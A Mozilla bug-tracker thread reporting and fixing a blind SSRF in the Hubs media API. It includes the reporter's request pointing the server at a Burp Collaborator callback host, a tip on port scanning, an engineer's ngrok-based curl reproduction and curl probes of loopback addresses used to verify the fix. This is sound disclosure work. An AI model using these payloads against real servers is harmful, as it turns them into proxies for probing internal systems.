Closed Bug 1726889 Opened 5 years ago Closed 4 years ago

Blind SSRF/XSPA on https://hubs.mozilla.com/

Categories

(Websites :: Hubs, defect)

defect

Tracking

(Not tracked)

RESOLVED FIXED

People

(Reporter: abdellahnadi1, Unassigned)

References

()

Details

(Keywords: reporter-external, sec-moderate, wsec-ssrf, Whiteboard: [reporter-external] [web-bounty-form])

Attachments

(1 file)

Hi guys ,

i have found a blind ssrf on https://hubs.mozilla.com/

this is the request

POST /api/v1/media HTTP/2
Host: hubs.mozilla.com
Content-Length: 72
Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Content-Type: application/json
Accept: /
Origin: https://hubs.mozilla.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://hubs.mozilla.com/fBtypbN/quirky-fruitful-realm/media/avatars?filter=featured&media_nav=false&selectAction=use
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr-FR;q=0.8,fr;q=0.7,ar;q=0.6
Connection: close

{"media":{"url":"https://thevmtjf68aubekmkpp2w1xjjap1dq.burpcollaborator.net/1.png,"quality":"high"},"version":1}

url parameter is vulnerable

move this request to bur suite to repeater

if you have burp collaborator tools generate the payload and put the it into URL and

you will notice the burpsuite greeting the request from the Mozilla server

also we can do port scanning by adding :port_numbers

The ability to send requests to other systems can allow the vulnerable server to be used as an attack proxy. By submitting suitable payloads, an attacker can cause the application server to attack other systems that it can interact with. This may include public third-party systems, internal systems within the same organization, or services available on the local loopback adapter of the application server itself. Depending on the network architecture, this may expose highly vulnerable internal services that are not otherwise accessible to external attackers.

Flags: sec-bounty?

Hello , any update ?

Hi Abdellah, thanks for the report and your patience.

Are you able to access any internal resources or do anything interesting on the loopback interface or to the application server?

Certainly acting as an attack proxy isn't great, and we should fix that.

Repro steps I took w/o burp:

  1. python server.py where server.py is:
import http.server
import socketserver

PORT = 8080

class Handler(http.server.SimpleHTTPRequestHandler):

    # Prevent 'cannot bind to address' errors on restart                                                                                                  
    allow_reuse_address = True

    def do_POST(self):
        self.send_response(200)
        self.send_header("Content-Length", len(cleaned))
        self.send_header("Content-Type", "application/json;charset=UTF-8")
        self.end_headers()

        self.wfile.write('{}')


if __name__ == "__main__":
    httpd = socketserver.TCPServer(("127.0.0.1", PORT), Handler)
    print("listening on localhost port %d" % PORT)
    httpd.serve_forever()
  1. ngrok http 8080

  2. Upload via /api/v1/media

$ curl -w '\n' 'https://hubs.mozilla.com/api/v1/media' -X POST -H 'Content-Type: application/json' --data-binary '{"media":{"url":"https://5120-173-70-31-177.ngrok.io/foo.json","quality":"high"},"version":1}'
{"meta":{"expected_content_type":"application/json"},"origin":"https://5120-173-70-31-177.ngrok.io/foo.json"}
  1. confirmed pingback in ngrok console or python server http logs
Status: UNCONFIRMED → NEW
Type: task → defect
Ever confirmed: true
Flags: needinfo?(abdellahnadi1)
Keywords: wsec-ssrf
Whiteboard: [reporter-external] [web-bounty-form] [verif?] → [reporter-external] [web-bounty-form]

A few things we could do:

  • have the web frontend fetch resources directly and upload the data instead of having the server reach out to user provided URLs
  • rate limiting the endpoint (if it isn't already) reduces its usefulness as an attack proxy
  • restricting the outbound schemes, domains, and ports it connects to would also reduce its usefulness as an attack proxy

hi Greg Guthe

thanks for the reply , i have tried before to escalate this to rce or getting some internal resources . but i wasn't able to do it

this issue is limed to blind ssrf .

thank you :)

Flags: needinfo?(abdellahnadi1)

Thanks for the additional repro steps, gguthe.

This behavior is by design -- we need server code here to make requests on behalf of the client, without CORS restrictions, in order to resolve and import media from across the web. The server may decide to extract or transform the content at the URL so that the client can ingest it.

This endpoint never returns a raw response from the target URL -- it is not a full proxy in that regard. It only ever returns metadata about a URL.

Despite the endpoint using the POST method, the server code only ever makes GET requests to the target URL.

The server media resolution process would only ever make http requests. I'm not sure if we ought to restrict ports, domains or public IPs, here unless there's a strong reason to do so. The intent of this behavior is to provide access to content from an HTTP server running on any port on the open web.

It sounds reasonable to block access to internal IP address ranges and internal hostnames, and we can also implement a strict rate limit on this endpoint. I can start working on that.

hi guys , any updates ?

Keywords: sec-low
See Also: → 1744089
Component: Other → Hubs

We've released a change for this that blocks access to internal IPs and hosts. You will now get a 403 or 500 if you try to resolve forbidden hosts with the media endpoint.
As discussed internally, we cannot take the extra step of rate-limiting this endpoint any further, due to the nature of how it is used in normal operation of the application.

I can confirm that access to localhost and internal IP ranges is now blocked:

% curl -w '\n' 'https://hubs.mozilla.com/api/v1/media' -X POST -H 'Content-Type: application/json' --data-binary '{"media":{"url":"http://127.0.0.1:9222/json/list","quality":"high"},"version":1}'
Forbidden


% curl -w '\n' 'https://hubs.mozilla.com/api/v1/media' -X POST -H 'Content-Type: application/json' --data-binary '{"media":{"url":"http://[::1]:9222/json/list","quality":"high"},"version":1}'
Forbidden

Status: NEW → RESOLVED
Closed: 4 years ago
Resolution: --- → FIXED

Hi guys , any update about the bounty ?

Hello Abdellah,

We will discuss the bounty and let you know soon. Thank you for your patience.

Regards,
Frida

Flags: sec-bounty? → sec-bounty+

We are awarding a bounty for this bug because it was in fact possible to ping the internal hosts.

Group: websites-security
Group: websites-security
Group: websites-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: